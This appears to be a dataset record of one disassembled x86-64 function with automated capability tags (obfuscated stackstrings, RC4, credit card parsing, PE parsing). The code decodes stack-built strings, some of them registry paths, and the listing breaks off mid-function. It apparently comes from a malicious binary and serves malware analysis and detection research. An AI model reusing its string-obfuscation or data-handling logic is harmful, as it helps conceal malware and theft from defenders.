Function at 0x140001c59
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 ksa
Parse credit card information
Parse pe header

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
mov eax, 0x1a80
call fcn.140011c60
sub rsp, rax
call fcn.140010bd0
mov qword [rsp + 0x1a78], 0xfffffffffc6c7900
lea rdx, [rsp + 0x1a78]
mov ecx, 0
call fcn.1400078da
call fcn.140006d79
mov edi, eax
call fcn.140007510
mov rsi, rax
mov rax, qword [rax + 0x20]
mov rbx, qword [rax + 0x80]
lea rcx, [rsp + 0x1870]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x1e
mov word [rsp + 0x142], 0x24
mov word [rsp + 0x144], 0x1e
mov word [rsp + 0x146], 0x1f
mov word [rsp + 0x148], 0x10
mov word [rsp + 0x14a], 0x18
mov word [rsp + 0x14c], 0x1d
mov word [rsp + 0x14e], 0x1a
mov word [rsp + 0x150], 0x1a
mov word [rsp + 0x152], 0x1f
mov word [rsp + 0x154], 8
mov word [rsp + 0x156], 0xcb
cmp byte [0x14049fc58], 0
jne 0x140001d7e
mov byte [0x14049fc78], 1
mov eax, 0
lea rcx, [0x14049fc60]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x140001d55
mov byte [0x14049fc58], 1
lea rcx, [0x140001548]
call fcn.1400014f0
cmp byte [0x14049fc78], 0
je 0x140001db0
lea rdx, [0x14049fc60]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
add ax, 0x4135
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001d92
mov byte [0x14049fc78], 0
lea rdx, [0x14049fc60]
mov rcx, rbx
call fcn.140006724
mov rdx, rax
lea rcx, [rsp + 0x1870]
call sub.msvcrt.dll_wcscat
lea rcx, [rsp + 0x1660]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x77
mov word [rsp + 0x142], 0x6e
mov word [rsp + 0x144], 0x94
mov word [rsp + 0x146], 0x8e
mov word [rsp + 0x148], 0x8f
mov word [rsp + 0x14a], pe_nt_image_headers64
mov word [rsp + 0x14c], 0x88
mov word [rsp + 0x14e], 0x4e
mov word [rsp + 0x150], 0x4d
mov word [rsp + 0x152], 0x1b
cmp byte [0x14049fc38], 0
jne 0x140001e90
mov byte [0x14049fc54], 1
mov eax, 0
lea rcx, [0x14049fc40]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xa
jne 0x140001e67
mov byte [0x14049fc38], 1
lea rcx, [0x140001562]
call fcn.1400014f0
cmp byte [0x14049fc54], 0
je 0x140001ec2
lea rdx, [0x14049fc40]
lea rcx, [rdx + 0x14]
movzx eax, word [rdx]
sub ax, 0x4a1b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001ea4
mov byte [0x14049fc54], 0
lea rdx, [rsp + 0x1870]
lea rcx, [rsp + 0x1660]
lea r8, [0x14049fc40]
call fcn.140005ebe
lea rcx, [rsp + 0x1450]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0xcd
mov word [rsp + 0x142], 0xd4
mov word [rsp + 0x144], 0xde
mov word [rsp + 0x146], 0xd5
mov word [rsp + 0x148], 0x9f
mov word [rsp + 0x14a], 0xd6
mov word [rsp + 0x14c], 0xe9
mov word [rsp + 0x14e], 0xd6
mov word [rsp + 0x150], 0x71
cmp byte [0x14049fc10], 0
jne 0x140001f95
mov byte [0x14049fc32], 1
mov eax, 0
lea rcx, [0x14049fc20]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140001f6c
mov byte [0x14049fc10], 1
lea rcx, [0x14000157c]
call fcn.1400014f0
cmp byte [0x14049fc32], 0
je 0x140001fc7
lea rdx, [0x14049fc20]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
sub ax, 0xa71
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140001fa9
mov byte [0x14049fc32], 0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x1450]
lea r8, [0x14049fc20]
call fcn.140005ebe
lea rcx, [rsp + 0x1240]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0x27
mov word [rsp + 0x142], 0x22
mov word [rsp + 0x144], 0x34
mov word [rsp + 0x146], 0x39
mov word [rsp + 0x148], 0x2f
mov word [rsp + 0x14a], 0x3a
mov word [rsp + 0x14c], 0x42
mov word [rsp + 0x14e], 0x3e
mov word [rsp + 0x150], 0x1b
mov word [rsp + 0x152], 0x3a
mov word [rsp + 0x154], 0x42
mov word [rsp + 0x156], 0x30
mov word [rsp + 0x158], 0x3d
mov word [rsp + 0x15a], 0x1e
mov word [rsp + 0x15c], 0x33
mov word [rsp + 0x15e], 0x30
mov word [rsp + 0x160], 0x37
mov word [rsp + 0x162], 0x37
mov word [rsp + 0x164], 0x27
mov word [rsp + 0x166], 0x41
mov word [rsp + 0x168], 0xfc
mov word [rsp + 0x16a], 0xf9
mov word [rsp + 0x16c], 0xfb
mov word [rsp + 0x16e], 0x27
mov word [rsp + 0x170], 0x3b
mov word [rsp + 0x172], 0x3a
mov word [rsp + 0x174], 0x42
mov word [rsp + 0x176], 0x30
mov word [rsp + 0x178], 0x3d
mov word [rsp + 0x17a], 0x3e
mov word [rsp + 0x17c], 0x33
mov word [rsp + 0x17e], 0x30
mov word [rsp + 0x180], 0x37
mov word [rsp + 0x182], 0x37
mov word [rsp + 0x184], 0xf9
mov word [rsp + 0x186], 0x30
mov word [rsp + 0x188], 0x43
mov word [rsp + 0x18a], 0x30
mov word [rsp + 0x18c], 0xcb
cmp byte [0x14049fbb0], 0
jne 0x1400021c6
mov byte [0x14049fc0e], 1
mov eax, 0
lea rcx, [0x14049fbc0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x27
jne 0x14000219d
mov byte [0x14049fbb0], 1
lea rcx, [0x140001596]
call fcn.1400014f0
cmp byte [0x14049fc0e], 0
je 0x1400021f8
lea rdx, [0x14049fbc0]
lea rcx, [rdx + 0x4e]
movzx eax, word [rdx]
sub ax, 0x6acb
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400021da
mov byte [0x14049fc0e], 0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x1240]
lea r8, [0x14049fbc0]
call fcn.140005ebe
lea rcx, [rsp + 0x1030]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0xbd
mov word [rsp + 0x142], 0xc5
mov word [rsp + 0x144], 0xca
mov word [rsp + 0x146], 0xc2
mov word [rsp + 0x148], 0xcd
mov word [rsp + 0x14a], 0xc6
mov word [rsp + 0x14c], 0xd3
mov word [rsp + 0x14e], 0x8f
mov word [rsp + 0x150], 0xc6
mov word [rsp + 0x152], 0xd9
mov word [rsp + 0x154], 0xc6
mov word [rsp + 0x156], 0x61
cmp byte [0x14049fb80], 0
jne 0x1400022e9
mov byte [0x14049fba8], 1
mov eax, 0
lea rcx, [0x14049fb90]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xc
jne 0x1400022c0
mov byte [0x14049fb80], 1
lea rcx, [0x1400015b0]
call fcn.1400014f0
cmp byte [0x14049fba8], 0
je 0x14000231b
lea rdx, [0x14049fb90]
lea rcx, [rdx + 0x18]
movzx eax, word [rdx]
add ax, 0x6d9f
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400022fd
mov byte [0x14049fba8], 0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x1030]
lea r8, [0x14049fb90]
call fcn.140005ebe
lea rcx, [rsp + 0xe20]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x140], 0xdf
mov word [rsp + 0x142], 0xee
mov word [rsp + 0x144], 0xea
mov word [rsp + 0x146], 0xf3
mov word [rsp + 0x148], 0xeb
mov word [rsp + 0x14a], 0xf2
mov word [rsp + 0x14c], 0xfa
mov word [rsp + 0x14e], 0xee
mov word [rsp + 0x150], 0xec
mov word [rsp + 0x152], 0xe9
mov word [rsp + 0x154], 0xfd
mov word [rsp + 0x156], 0xf6
mov word [rsp + 0x158], 0xf6
mov word [rsp + 0x15a], 0xb1
mov word [rsp + 0x15c], 0xf7
mov word [rsp + 0x15e], 0xf0
mov word [rsp + 0x160], 0xf3
mov word [rsp + 0x162], 0x83
cmp byte [0x14049fb28], 0
jne 0x140002448
mov byte [0x14049fb64], 1
mov eax, 0
lea rcx, [0x14049fb40]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x12
jne 0x14000241f
mov byte [0x14049fb28], 1
lea rcx, [0x1400015cb]
call fcn.1400014f0
cmp byte [0x14049fb64], 0
je 0x14000247a
lea rdx, [0x14049fb40]
lea rcx, [rdx + 0x24]
movzx eax, word [rdx]
add ax, 0x117d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000245c
mov byte [0x14049fb64], 0
mov word [rsp + 0x140], 0xd7
mov word [rsp + 0x142], 0xc8
mov word [rsp + 0x144], 0xd0
mov word [rsp + 0x146], 0xd3
mov word [rsp + 0x148], 0xc0
mov word [rsp + 0x14a], 0x83
cmp byte [0x14049fb68], 0
jne 0x1400024fb
mov byte [0x14049fb7c], 1
mov eax, 0
lea rcx, [0x14049fb70]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 6
jne 0x1400024d2
mov byte [0x14049fb68], 1
lea rcx, [0x1400015ca]
call fcn.1400014f0
cmp byte [0x14049fb7c], 0
je 0x14000252d
lea rdx, [0x14049fb70]
lea rcx, [rdx + 0xc]
movzx eax, word [rdx]
add ax, 0x117d
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000250f
mov byte [0x14049fb7c], 0
lea rdx, [0x14049fb70]
mov rcx, rbx
call fcn.140006724
mov rdx, rax
lea rcx, [rsp + 0xe20]
lea r8, [0x14049fb40]
call fcn.140005ebe
lea rcx, [rsp + 0x140]
mov r8d, 0xa2
lea rdx, section..rdata
call sub.msvcrt.dll_memcpy
cmp byte [0x14049fa60], 0
jne 0x1400025b2
mov byte [0x14049fb22], 1
mov eax, 0
lea rcx, [0x14049fa80]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x51
jne 0x140002589
mov byte [0x14049fa60], 1
lea rcx, [0x1400015e5]
call fcn.1400014f0
cmp byte [0x14049fb22], 0
je 0x1400025e7
lea rdx, [0x14049fa80]
lea rcx, [rdx + 0xa2]
movzx eax, word [rdx]
sub ax, 0x3a3f
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x1400025c9
mov byte [0x14049fb22], 0
lea r8, [rsp + 0x1240]
lea rdx, [rsp + 0x1660]
mov qword [rsp + 0x20], r8
lea r9, [0x14049fa80]
mov ecx, 1
call fcn.140006668
lea rcx, [rsp + 0x140]
mov r8d, 0xbc
lea rdx, str.rmmmmmsmmm
call sub.msvcrt.dll_memcpy
cmp byte [0x14049f998], 0
jne 0x14000266c
mov byte [0x14049fa5c], 1
mov eax, 0
lea rcx, [0x14049f9a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x5e
jne 0x140002643
mov byte [0x14049f998], 1
lea rcx, [0x140001602]
call fcn.1400014f0
cmp byte [0x14049fa5c], 0
je 0x1400026a1
lea rdx, [0x14049f9a0]
lea rcx, [rdx + 0xbc]
movzx eax, word [rdx]
add ax, 0x71b3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002683
mov byte [0x14049fa5c], 0
lea r8, [rsp + 0x1450]
lea rdx, [rsp + 0x1660]
mov qword [rsp + 0x20], r8
lea r9, [0x14049f9a0]
mov ecx, 1
call fcn.140006668
mov word [rsp + 0x140], 0x72
mov word [rsp + 0x142], 0x90
mov word [rsp + 0x144], 0x8c
mov word [rsp + 0x146], 0x70
mov word [rsp + 0x148], 0x93
mov word [rsp + 0x14a], pe_nt_image_headers64
mov word [rsp + 0x14c], 0x7c
mov word [rsp + 0x14e], 0x7f
mov word [rsp + 0x150], 0x88
mov word [rsp + 0x152], 0x8d
mov word [rsp + 0x154], 0x1d
cmp byte [0x14049f8e8], 0
jne 0x14000277a
mov byte [0x14049f906], 1
mov eax, 0
lea rcx, [0x14049f8f0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xb
jne 0x140002751
mov byte [0x14049f8e8], 1
lea rcx, [0x140001639]
call fcn.1400014f0
cmp byte [0x14049f906], 0
je 0x1400027ac
lea rdx, [0x14049f8f0]
lea rcx, [rdx + 0x16]
movzx eax, word [rdx]
add ax, 0x25e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x14000278e
mov byte [0x14049f906], 0
mov word [rsp + 0x140], 0x79
mov word [rsp + 0x142], 0x6f
mov word [rsp + 0x144], 0x82
mov word [rsp + 0x146], 0x84
mov word [rsp + 0x148], 0x86
mov word [rsp + 0x14a], 0x90
mov word [rsp + 0x14c], 0x91
mov word [rsp + 0x14e], 0x8f
mov word [rsp + 0x150], 0x96
mov word [rsp + 0x152], 0x79
mov word [rsp + 0x154], 0x6a
mov word [rsp + 0x156], 0x7e
mov word [rsp + 0x158], pe_nt_image_headers64
mov word [rsp + 0x15a], 0x85
mov word [rsp + 0x15c], 0x86
mov word [rsp + 0x15e], 0x8b
mov word [rsp + 0x160], 0x82
mov word [rsp + 0x162], 0x79
mov word [rsp + 0x164], 0x70
mov word [rsp + 0x166], 0x76
mov word [rsp + 0x168], 0x70
mov word [rsp + 0x16a], 0x71
mov word [rsp + 0x16c], 0x62
mov word [rsp + 0x16e], 0x6a
mov word [rsp + 0x170], 0x79
mov word [rsp + 0x172], 0x60
mov word [rsp + 0x174], 0x92
mov word [rsp + 0x176], 0x8f
mov word [rsp + 0x178], 0x8f
mov word [rsp + 0x17a], 0x82
mov word [rsp + 0x17c], 0x8b
mov word [rsp + 0x17e], 0x91
mov word [rsp + 0x180], 0x60
mov word [rsp + 0x182], 0x8c
mov word [rsp + 0x184], 0x8b
mov word [rsp + 0x186], 0x91
mov word [rsp + 0x188], 0x8f
mov word [rsp + 0x18a], 0x8c
mov word [rsp + 0x18c], 0x89
mov word [rsp + 0x18e], 0x70
mov word [rsp + 0x190], 0x82
mov word [rsp + 0x192], 0x91
mov word [rsp + 0x194], 0x79
mov word [rsp + 0x196], 0x70
mov word [rsp + 0x198], 0x82
mov word [rsp + 0x19a], 0x8f
mov word [rsp + 0x19c], 0x93
mov word [rsp + 0x19e], 0x86
mov word [rsp + 0x1a0], pe_nt_image_headers64
mov word [rsp + 0x1a2], 0x82
mov word [rsp + 0x1a4], 0x90
mov word [rsp + 0x1a6], 0x79
mov word [rsp + 0x1a8], 0x72
mov word [rsp + 0x1aa], 0x90
mov word [rsp + 0x1ac], 0x8c
mov word [rsp + 0x1ae], 0x70
mov word [rsp + 0x1b0], 0x93
mov word [rsp + 0x1b2], pe_nt_image_headers64
mov word [rsp + 0x1b4], 0x1d
cmp byte [0x14049f908], 0
jne 0x140002a3f
mov byte [0x14049f996], 1
mov eax, 0
lea rcx, [0x14049f920]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3b
jne 0x140002a16
mov byte [0x14049f908], 1
lea rcx, [0x14000161f]
call fcn.1400014f0
cmp byte [0x14049f996], 0
je 0x140002a71
lea rdx, [0x14049f920]
lea rcx, [rdx + 0x76]
movzx eax, word [rdx]
add ax, 0x25e3
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002a53
mov byte [0x14049f996], 0
lea rdx, [0x14049f8f0]
lea rcx, [0x14049f920]
call fcn.140006f98
mov word [rsp + 0x140], 0x60
mov word [rsp + 0x142], 0x6a
mov word [rsp + 0x144], 0x6a
mov word [rsp + 0x146], 0x5c
mov word [rsp + 0x148], 0x56
mov word [rsp + 0x14a], 0x6e
mov word [rsp + 0x14c], 0x6d
mov word [rsp + 0x14e], 0x72
mov word [rsp + 0x150], 0x6c
mov word [rsp + 0x152], 0x5c
mov word [rsp + 0x154], 0x7f
mov word [rsp + 0x156], 0x6c
mov word [rsp + 0x158], 0x68
mov word [rsp + 0x15a], 0x6b
mov word [rsp + 0x15c], 0x74
mov word [rsp + 0x15e], 0x79
mov word [rsp + 0x160], 9
cmp byte [0x14049f800], 0
jne 0x140002b73
mov byte [0x14049f842], 1
mov eax, 0
lea rcx, [0x14049f820]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x11
jne 0x140002b4a
mov byte [0x14049f800], 1
lea rcx, [0x140001670]
call fcn.1400014f0
cmp byte [0x14049f842], 0
je 0x140002ba5
lea rdx, [0x14049f820]
lea rcx, [rdx + 0x22]
movzx eax, word [rdx]
sub ax, 0x7009
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002b87
mov byte [0x14049f842], 0
mov word [rsp + 0x140], 0x65
mov word [rsp + 0x142], 0x5b
mov word [rsp + 0x144], 0x6e
mov word [rsp + 0x146], 0x70
mov word [rsp + 0x148], 0x72
mov word [rsp + 0x14a], 0x7c
mov word [rsp + 0x14c], 0x7d
mov word [rsp + 0x14e], 0x7b
mov word [rsp + 0x150], 0x82
mov word [rsp + 0x152], 0x65
mov word [rsp + 0x154], 0x56
mov word [rsp + 0x156], 0x6a
mov word [rsp + 0x158], 0x6c
mov word [rsp + 0x15a], 0x71
mov word [rsp + 0x15c], 0x72
mov word [rsp + 0x15e], 0x77
mov word [rsp + 0x160], 0x6e
mov word [rsp + 0x162], 0x65
mov word [rsp + 0x164], 0x5c
mov word [rsp + 0x166], 0x62
mov word [rsp + 0x168], 0x5c
mov word [rsp + 0x16a], 0x5d
mov word [rsp + 0x16c], 0x4e
mov word [rsp + 0x16e], 0x56
mov word [rsp + 0x170], 0x65
mov word [rsp + 0x172], 0x4c
mov word [rsp + 0x174], 0x7e
mov word [rsp + 0x176], 0x7b
mov word [rsp + 0x178], 0x7b
mov word [rsp + 0x17a], 0x6e
mov word [rsp + 0x17c], 0x77
mov word [rsp + 0x17e], 0x7d
mov word [rsp + 0x180], 0x4c
mov word [rsp + 0x182], 0x78
mov word [rsp + 0x184], 0x77
mov word [rsp + 0x186], 0x7d
mov word [rsp + 0x188], 0x7b
mov word [rsp + 0x18a], 0x78
mov word [rsp + 0x18c], 0x75
mov word [rsp + 0x18e], 0x5c
mov word [rsp + 0x190], 0x6e
mov word [rsp + 0x192], 0x7d
mov word [rsp + 0x194], 0x65
mov word [rsp + 0x196], 0x5c
mov word [rsp + 0x198], 0x6e
mov word [rsp + 0x19a], 0x7b
mov word [rsp + 0x19c], 0x7f
mov word [rsp + 0x19e], 0x72
mov word [rsp + 0x1a0], 0x6c
mov word [rsp + 0x1a2], 0x6e
mov word [rsp + 0x1a4], 0x7c
mov word [rsp + 0x1a6], 0x65
mov word [rsp + 0x1a8], 0x60
mov word [rsp + 0x1aa], 0x6a
mov word [rsp + 0x1ac], 0x6a
mov word [rsp + 0x1ae], 0x5c
mov word [rsp + 0x1b0], 0x56
mov word [rsp + 0x1b2], 0x6e
mov word [rsp + 0x1b4], 0x6d
mov word [rsp + 0x1b6], 0x72
mov word [rsp + 0x1b8], 0x6c
mov word [rsp + 0x1ba], 0x5c
mov word [rsp + 0x1bc], 0x7f
mov word [rsp + 0x1be], 0x6c
mov word [rsp + 0x1c0], 9
cmp byte [0x14049f848], 0
jne 0x140002e74
mov byte [0x14049f8e2], 1
mov eax, 0
lea rcx, [0x14049f860]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x41
jne 0x140002e4b
mov byte [0x14049f848], 1
lea rcx, [0x140001653]
call fcn.1400014f0
cmp byte [0x14049f8e2], 0
je 0x140002ea9
lea rdx, [0x14049f860]
lea rcx, [rdx + 0x82]
movzx eax, word [rdx]
sub ax, 0x7009
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002e8b
mov byte [0x14049f8e2], 0
lea rdx, [0x14049f820]
lea rcx, [0x14049f860]
call fcn.140006f98
mov word [rsp + 0x140], 0xee
mov word [rsp + 0x142], 0xec
mov word [rsp + 0x144], 0xd8
mov word [rsp + 0x146], 0xec
mov word [rsp + 0x148], 0xea
mov word [rsp + 0x14a], 0xdc
mov word [rsp + 0x14c], 0xe9
mov word [rsp + 0x14e], 0xed
mov word [rsp + 0x150], 0xd6
mov word [rsp + 0x152], 0xd9
mov word [rsp + 0x154], 0xe2
mov word [rsp + 0x156], 0xe7
mov word [rsp + 0x158], 0x77
cmp byte [0x14049f738], 0
jne 0x140002f83
mov byte [0x14049f75a], 1
mov eax, 0
lea rcx, [0x14049f740]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xd
jne 0x140002f5a
mov byte [0x14049f738], 1
lea rcx, [0x1400016a4]
call fcn.1400014f0
cmp byte [0x14049f75a], 0
je 0x140002fb5
lea rdx, [0x14049f740]
lea rcx, [rdx + 0x1a]
movzx eax, word [rdx]
add ax, 0x5789
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140002f97
mov byte [0x14049f75a], 0
mov word [rsp + 0x140], 0xd3
mov word [rsp + 0x142], 0xc9
mov word [rsp + 0x144], 0xdc
mov word [rsp + 0x146], 0xde
mov word [rsp + 0x148], 0xe0
mov word [rsp + 0x14a], 0xea
mov word [rsp + 0x14c], 0xeb
mov word [rsp + 0x14e], 0xe9
mov word [rsp + 0x150], 0xf0
mov word [rsp + 0x152], 0xd3
mov word [rsp + 0x154], 0xc4
mov word [rsp + 0x156], 0xd8
mov word [rsp + 0x158], 0xda
mov word [rsp + 0x15a], 0xdf
mov word [rsp + 0x15c], 0xe0
mov word [rsp + 0x15e], 0xe5
mov word [rsp + 0x160], 0xdc
mov word [rsp + 0x162], 0xd3
mov word [rsp + 0x164], 0xca
mov word [rsp + 0x166], 0xd0
mov word [rsp + 0x168], 0xca
mov word [rsp + 0x16a], 0xcb
mov word [rsp + 0x16c], 0xbc
mov word [rsp + 0x16e], 0xc4
mov word [rsp + 0x170], 0xd3
mov word [rsp + 0x172], 0xba
mov word [rsp + 0x174], 0xec
mov word [rsp + 0x176], 0xe9
mov word [rsp + 0x178], 0xe9
mov word [rsp + 0x17a], 0xdc
mov word [rsp + 0x17c], 0xe5
mov word [rsp + 0x17e], 0xeb
mov word [rsp + 0x180], 0xba
mov word [rsp + 0x182], 0xe6
mov word [rsp + 0x184], 0xe5
mov word [rsp + 0x186], 0xeb
mov word [rsp + 0x188], 0xe9
mov word [rsp + 0x18a], 0xe6
mov word [rsp + 0x18c], 0xe3
mov word [rsp + 0x18e], 0xca
mov word [rsp + 0x190], 0xdc
mov word [rsp + 0x192], 0xeb
mov word [rsp + 0x194], 0xd3
mov word [rsp + 0x196], 0xca
mov word [rsp + 0x198], 0xdc
mov word [rsp + 0x19a], 0xe9
mov word [rsp + 0x19c], 0xed
mov word [rsp + 0x19e], 0xe0
mov word [rsp + 0x1a0], 0xda
mov word [rsp + 0x1a2], 0xdc
mov word [rsp + 0x1a4], 0xea
mov word [rsp + 0x1a6], 0xd3
mov word [rsp + 0x1a8], 0xee
mov word [rsp + 0x1aa], 0xec
mov word [rsp + 0x1ac], 0xd8
mov word [rsp + 0x1ae], 0xec
mov word [rsp + 0x1b0], 0xea
mov word [rsp + 0x1b2], 0xdc
mov word [rsp + 0x1b4], 0xe9
mov word [rsp + 0x1b6], 0xed
mov word [rsp + 0x1b8], 0x77
cmp byte [0x14049f760], 0
jne 0x14000325c
mov byte [0x14049f7fa], 1
mov eax, 0
lea rcx, [0x14049f780]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x3d
jne 0x140003233
mov byte [0x14049f760], 1
lea rcx, [0x14000168a]
call fcn.1400014f0
cmp byte [0x14049f7fa], 0
je 0x14000328e
lea rdx, [0x14049f780]
lea rcx, [rdx + 0x7a]
movzx eax, word [rdx]
add ax, 0x5789
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003270
mov byte [0x14049f7fa], 0
lea rdx, [0x14049f740]
lea rcx, [0x14049f780]
call fcn.140006f98
mov word [rsp + 0x140], 0xb7
mov word [rsp + 0x142], 0xbe
mov word [rsp + 0x144], 0xc9
mov word [rsp + 0x146], 0xc8
mov word [rsp + 0x148], 0xd4
mov word [rsp + 0x14a], 0xd7
mov word [rsp + 0x14c], 0xe0
mov word [rsp + 0x14e], 0xe5
mov word [rsp + 0x150], 0x75
cmp byte [0x14049f698], 0
jne 0x140003340
mov byte [0x14049f6b2], 1
mov eax, 0
lea rcx, [0x14049f6a0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 9
jne 0x140003317
mov byte [0x14049f698], 1
lea rcx, [0x1400016d8]
call fcn.1400014f0
cmp byte [0x14049f6b2], 0
je 0x140003372
lea rdx, [0x14049f6a0]
lea rcx, [rdx + 0x12]
movzx eax, word [rdx]
add ax, 0x498b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003354
mov byte [0x14049f6b2], 0
mov word [rsp + 0x140], 0xd1
mov word [rsp + 0x142], 0xc7
mov word [rsp + 0x144], 0xda
mov word [rsp + 0x146], 0xdc
mov word [rsp + 0x148], 0xde
mov word [rsp + 0x14a], 0xe8
mov word [rsp + 0x14c], 0xe9
mov word [rsp + 0x14e], 0xe7
mov word [rsp + 0x150], 0xee
mov word [rsp + 0x152], 0xd1
mov word [rsp + 0x154], 0xc2
mov word [rsp + 0x156], 0xd6
mov word [rsp + 0x158], 0xd8
mov word [rsp + 0x15a], 0xdd
mov word [rsp + 0x15c], 0xde
mov word [rsp + 0x15e], 0xe3
mov word [rsp + 0x160], 0xda
mov word [rsp + 0x162], 0xd1
mov word [rsp + 0x164], 0xc8
mov word [rsp + 0x166], 0xce
mov word [rsp + 0x168], 0xc8
mov word [rsp + 0x16a], 0xc9
mov word [rsp + 0x16c], 0xba
mov word [rsp + 0x16e], 0xc2
mov word [rsp + 0x170], 0xd1
mov word [rsp + 0x172], 0xb8
mov word [rsp + 0x174], 0xea
mov word [rsp + 0x176], 0xe7
mov word [rsp + 0x178], 0xe7
mov word [rsp + 0x17a], 0xda
mov word [rsp + 0x17c], 0xe3
mov word [rsp + 0x17e], 0xe9
mov word [rsp + 0x180], 0xb8
mov word [rsp + 0x182], 0xe4
mov word [rsp + 0x184], 0xe3
mov word [rsp + 0x186], 0xe9
mov word [rsp + 0x188], 0xe7
mov word [rsp + 0x18a], 0xe4
mov word [rsp + 0x18c], 0xe1
mov word [rsp + 0x18e], 0xc8
mov word [rsp + 0x190], 0xda
mov word [rsp + 0x192], 0xe9
mov word [rsp + 0x194], 0xd1
mov word [rsp + 0x196], 0xc8
mov word [rsp + 0x198], 0xda
mov word [rsp + 0x19a], 0xe7
mov word [rsp + 0x19c], 0xeb
mov word [rsp + 0x19e], 0xde
mov word [rsp + 0x1a0], 0xd8
mov word [rsp + 0x1a2], 0xda
mov word [rsp + 0x1a4], 0xe8
mov word [rsp + 0x1a6], 0xd1
mov word [rsp + 0x1a8], 0xb7
mov word [rsp + 0x1aa], 0xbe
mov word [rsp + 0x1ac], 0xc9
mov word [rsp + 0x1ae], 0xc8
mov word [rsp + 0x1b0], 0x75
cmp byte [0x14049f6b8], 0
jne 0x1400035f1
mov byte [0x14049f732], 1
mov eax, 0
lea rcx, [0x14049f6c0]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x39
jne 0x1400035c8
mov byte [0x14049f6b8], 1
lea rcx, [0x1400016be]
call fcn.1400014f0
cmp byte [0x14049f732], 0
je 0x140003623
lea rdx, [0x14049f6c0]
lea rcx, [rdx + 0x72]
movzx eax, word [rdx]
add ax, 0x498b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140003605
mov byte [0x14049f732], 0
lea rdx, [0x14049f6a0]
lea rcx, [0x14049f6c0]
call fcn.140006f98
mov word [rsp + 0x140], 0xcb
mov word [rsp + 0x142], 0xd6
mov word [rsp + 0x144], 0xda
mov word [rsp + 0x146], 0xdd
mov word [rsp + 0x148], 0xca
mov word [rsp + 0x14a], 0xc6
mov word [rsp + 0x14c], 0xc9
mov word [rsp + 0x14e], 0xd2
mov word [rsp + 0x150], 0xd7
mov word [rsp + 0x152], 0x67
cmp byte [0x14049f5f8], 0
jne 0x1400036df
mov byte [0x14049f614], 1
mov eax, 0
lea rcx, [0x14049f600]
movzx edx, word [rsp + rax*2 + 0x140]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xa
jne 0x1400036b6
mov byte [0x14049f5f8], 1
